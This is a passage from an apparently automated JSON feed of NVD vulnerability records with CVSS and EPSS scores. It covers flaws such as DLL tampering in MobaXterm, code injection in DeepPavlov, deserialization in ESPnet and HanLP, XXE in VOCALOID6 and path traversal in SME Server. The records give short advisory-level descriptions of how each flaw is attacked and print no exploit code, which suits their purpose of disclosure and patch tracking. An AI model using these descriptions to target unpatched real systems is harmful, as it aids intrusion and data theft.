fixes.","publishedAt":"2026-10-19T09:17:08.240Z","updatedAt":"2026-10-19T18:17:03.310Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112178","asOf":"2026-10-19T18:17:03.310Z"},"epss":{"probability":0.0023,"percentile":0.13677,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112178&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112178","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112178","type":"primary","publishedAt":"2026-10-19T09:17:08.240Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112178&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112178, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112161","cveId":"CVE-2026-112161","aliases":[],"kind":"vulnerability","title":"MobaXterm Personal Edition (Portable) 26.4 GA extracts the CygUtils64.plugin file without first verifying its integrity.","summary":"MobaXterm Personal Edition (Portable) 26.4 GA extracts the CygUtils64.plugin file without first verifying its integrity. A local attacker with write permissions on this file can replace the ‘bin/cygwin1.dll’ library contained within it with a malicious library. When the victim opens a Local Shell session or uses a Cygwin-based function, the application extracts the component and loads the tampered library, executing code with the victim’s permissions. Exploitation requires write access to the plugin and does not, in itself, involve privilege escalation.","detail":"MobaXterm Personal Edition (Portable) 26.4 GA extracts the CygUtils64.plugin file without first verifying its integrity. A local attacker with write permissions on this file can replace the ‘bin/cygwin1.dll’ library contained within it with a malicious library. When the victim opens a Local Shell session or uses a Cygwin-based function, the application extracts the component and loads the tampered library, executing code with the victim’s permissions. Exploitation requires write access to the plugin and does not, in itself, involve privilege escalation.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T09:17:08.097Z","updatedAt":"2026-10-20T19:17:31.230Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112161","asOf":"2026-10-20T19:17:31.230Z"},"epss":{"probability":0.00079,"percentile":0.00143,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112161&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112161","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112161","type":"primary","publishedAt":"2026-10-19T09:17:08.097Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112161&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112161, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112098","cveId":"CVE-2026-112098","aliases":[],"kind":"vulnerability","title":"A security flaw has been discovered in DeepPavlov up to 1.7.0. Impacted is the function resolve of the file deeppavlov/core/common/params.py of the component Config Reference...","summary":"A security flaw has been discovered in DeepPavlov up to 1.7.0. Impacted is the function resolve of the file deeppavlov/core/common/params.py of the component Config Reference Resolver. The manipulation results in code injection. The attack can be launched remotely. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A security flaw has been discovered in DeepPavlov up to 1.7.0. Impacted is the function resolve of the file deeppavlov/core/common/params.py of the component Config Reference Resolver. The manipulation results in code injection. The attack can be launched remotely. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T09:17:07.917Z","updatedAt":"2026-10-19T18:17:02.897Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112098","asOf":"2026-10-19T18:17:02.897Z"},"epss":{"probability":0.00315,"percentile":0.24197,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112098&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112098","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112098","type":"primary","publishedAt":"2026-10-19T09:17:07.917Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112098&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112098, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104679","cveId":"CVE-2026-104679","aliases":[],"kind":"vulnerability","title":"VOCALOID6 Editor provided by Yamaha Corporation improperly restricts XML external entity references.","summary":"VOCALOID6 Editor provided by Yamaha Corporation improperly restricts XML external entity references. Loading a specially crafted project file may the product to initiate unintended communication, potentially leading to the leak of sensitive information from the device where the product is installed or resulting in a denial-of-service (DoS) condition.","detail":"VOCALOID6 Editor provided by Yamaha Corporation improperly restricts XML external entity references. Loading a specially crafted project file may the product to initiate unintended communication, potentially leading to the leak of sensitive information from the device where the product is installed or resulting in a denial-of-service (DoS) condition.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T09:17:06.890Z","updatedAt":"2026-10-20T19:17:20.540Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.9,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104679","asOf":"2026-10-20T19:17:20.540Z"},"epss":{"probability":0.0013,"percentile":0.02627,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-104679&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-104679","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104679","type":"primary","publishedAt":"2026-10-19T09:17:06.890Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104679&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-104679, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-76740","cveId":"CVE-2026-76740","aliases":[],"kind":"vulnerability","title":"A security vulnerability in HPE Compute Scale-up Server 3200 and 3250 platforms, Superdome Flex and Superdome Flex 280 servers could be exploited remotely to execute arbitrary...","summary":"A security vulnerability in HPE Compute Scale-up Server 3200 and 3250 platforms, Superdome Flex and Superdome Flex 280 servers could be exploited remotely to execute arbitrary commands on the RMC.","detail":"A security vulnerability in HPE Compute Scale-up Server 3200 and 3250 platforms, Superdome Flex and Superdome Flex 280 servers could be exploited remotely to execute arbitrary commands on the RMC.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T07:16:31.900Z","updatedAt":"2026-10-21T04:18:10.797Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-76740","asOf":"2026-10-21T04:18:10.797Z"},"epss":{"probability":0.00484,"percentile":0.41375,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-76740&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-76740","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76740","type":"primary","publishedAt":"2026-10-19T07:16:31.900Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-76740&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-76740, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-16460","cveId":"CVE-2026-16460","aliases":[],"kind":"vulnerability","title":"A flaw was found in bootc and ostree. Already-staged deployments are finalized without revalidating the deployment's container image against the current containers signature...","summary":"A flaw was found in bootc and ostree. Already-staged deployments are finalized without revalidating the deployment's container image against the current containers signature policy. Unsigned OS content staged under a prior permissive policy can remain bootable after policy is hardened to reject unsigned images, leading to full host compromise on reboot.","detail":"A flaw was found in bootc and ostree. Already-staged deployments are finalized without revalidating the deployment's container image against the current containers signature policy. Unsigned OS content staged under a prior permissive policy can remain bootable after policy is hardened to reject unsigned images, leading to full host compromise on reboot.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T07:16:31.253Z","updatedAt":"2026-10-21T19:17:02.333Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-16460","asOf":"2026-10-21T19:17:02.333Z"},"epss":{"probability":0.00098,"percentile":0.00759,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-16460&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-16460","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-16460","type":"primary","publishedAt":"2026-10-19T07:16:31.253Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-16460&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-16460, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112086","cveId":"CVE-2026-112086","aliases":[],"kind":"vulnerability","title":"A vulnerability was found in ESPnet up to 202610.post2. This affects the function build_model of the file espnet3/publication/inference_model.py of the component Inference Model...","summary":"A vulnerability was found in ESPnet up to 202610.post2. This affects the function build_model of the file espnet3/publication/inference_model.py of the component Inference Model Handler. The manipulation of the argument _target_ results in deserialization. It is possible to launch the attack remotely. The exploit has been made public and could be used. The patch is identified as f217b24f06de55e332cab10231469d5890dbbe00. It is best practice to apply a patch to resolve this issue.","detail":"A vulnerability was found in ESPnet up to 202610.post2. This affects the function build_model of the file espnet3/publication/inference_model.py of the component Inference Model Handler. The manipulation of the argument _target_ results in deserialization. It is possible to launch the attack remotely. The exploit has been made public and could be used. The patch is identified as f217b24f06de55e332cab10231469d5890dbbe00. It is best practice to apply a patch to resolve this issue.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T06:17:23.667Z","updatedAt":"2026-10-19T18:17:02.463Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112086","asOf":"2026-10-19T18:17:02.463Z"},"epss":{"probability":0.00316,"percentile":0.24292,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112086&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112086","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112086","type":"primary","publishedAt":"2026-10-19T06:17:23.667Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112086&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112086, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112082","cveId":"CVE-2026-112082","aliases":[],"kind":"vulnerability","title":"A vulnerability was identified in sgl-project SGLang up to 0.5.19. This impacts the function Scheduler.expert_distribution_handle of the file...","summary":"A vulnerability was identified in sgl-project SGLang up to 0.5.19. This impacts the function Scheduler.expert_distribution_handle of the file python/sglang/srt/eplb/expert_distribution.py of the component Expert-Distribution Recording Endpoint. Such manipulation leads to denial of service. It is possible to launch the attack remotely. The exploit is publicly available and might be used. The pull request to fix this issue awaits acceptance.","detail":"A vulnerability was identified in sgl-project SGLang up to 0.5.19. This impacts the function Scheduler.expert_distribution_handle of the file python/sglang/srt/eplb/expert_distribution.py of the component Expert-Distribution Recording Endpoint. Such manipulation leads to denial of service. It is possible to launch the attack remotely. The exploit is publicly available and might be used. The pull request to fix this issue awaits acceptance.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T06:17:23.013Z","updatedAt":"2026-10-19T17:17:11.123Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112082","asOf":"2026-10-19T17:17:11.123Z"},"epss":{"probability":0.00626,"percentile":0.4971,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112082&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112082","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112082","type":"primary","publishedAt":"2026-10-19T06:17:23.013Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112082&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112082, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112081","cveId":"CVE-2026-112081","aliases":[],"kind":"vulnerability","title":"A vulnerability was determined in hankcs HanLP up to 2.1.0-beta.64. This affects the function hanlp.load of the file plugins/hanlp_common/hanlp_common/reflection.py of the...","summary":"A vulnerability was determined in hankcs HanLP up to 2.1.0-beta.64. This affects the function hanlp.load of the file plugins/hanlp_common/hanlp_common/reflection.py of the component Model Config Loading. This manipulation of the argument classpath causes deserialization. It is possible to initiate the attack remotely. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A vulnerability was determined in hankcs HanLP up to 2.1.0-beta.64. This affects the function hanlp.load of the file plugins/hanlp_common/hanlp_common/reflection.py of the component Model Config Loading. This manipulation of the argument classpath causes deserialization. It is possible to initiate the attack remotely. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T06:17:22.430Z","updatedAt":"2026-10-22T03:16:34.763Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112081","asOf":"2026-10-22T03:16:34.763Z"},"epss":{"probability":0.00337,"percentile":0.26821,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112081&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112081","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112081","type":"primary","publishedAt":"2026-10-19T06:17:22.430Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112081&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112081, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108120","cveId":"CVE-2026-108120","aliases":[],"kind":"vulnerability","title":"Brian Mariani from DigitalCanion SA has discovered a path traversal vulnerability in the View Logs functionality of \nkoozali's SME Server version 11.0rc1-215 allowing an...","summary":"Brian Mariani from DigitalCanion SA has discovered a path traversal vulnerability in the View Logs functionality of \nkoozali's SME Server version 11.0rc1-215 allowing an unauthenticated \nattacker to access files outside of the intended directory, leading to \nexfiltration of files located outside the intended system logs \ndirectory, including potentially sensitive system and application files.","detail":"Brian Mariani from DigitalCanion SA has discovered a path traversal vulnerability in the View Logs functionality of \nkoozali's SME Server version 11.0rc1-215 allowing an unauthenticated \nattacker to access files outside of the intended directory, leading to \nexfiltration of files located outside the intended system logs \ndirectory, including potentially sensitive system and application files.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T06:17:21.097Z","updatedAt":"2026-10-19T21:03:42.880Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:P/AU:Y/R:A/V:X/RE:M/U:Amber","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108120","asOf":"2026-10-19T21:03:42.880Z"},"epss":{"probability":0.00368,"percentile":0.30374,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108120&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108120","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108120","type":"primary","publishedAt":"2026-10-19T06:17:21.097Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108120&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108120, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112080","cveId":"CVE-2026-112080","aliases":[],"kind":"vulnerability","title":"A vulnerability was found in LlamaChinese Llama-Chinese up to 6fa0fffb0dd82fe3cfaa1449ee54a5806d26ae9b. The impacted element is the function get_class_from_dynamic_module of the...","summary":"A vulnerability was found in LlamaChinese Llama-Chinese up to 6fa0fffb0dd82fe3cfaa1449ee54a5806d26ae9b. The impacted element is the function get_class_from_dynamic_module of the file examples/chat_gradio_no_merge.py of the component Adapter Config. The manipulation of the argument base_model_name_or_path results in code injection. The attack may be performed from remote. The exploit has been made public and could be used. This product utilizes a rolling release system for continuous delivery, and as such, version information for affected or updated releases is not disclosed. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A vulnerability was found in LlamaChinese Llama-Chinese up to 6fa0fffb0dd82fe3cfaa1449ee54a5806d26ae9b. The impacted element is the function get_class_from_dynamic_module of the file examples/chat_gradio_no_merge.py of the component Adapter Config. The manipulation of the argument base_model_name_or_path results in code injection. The attack may be performed from remote. The exploit has been made public and could be used. This product utilizes a rolling release system for continuous delivery, and as such, version information for affected or updated releases is not disclosed. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 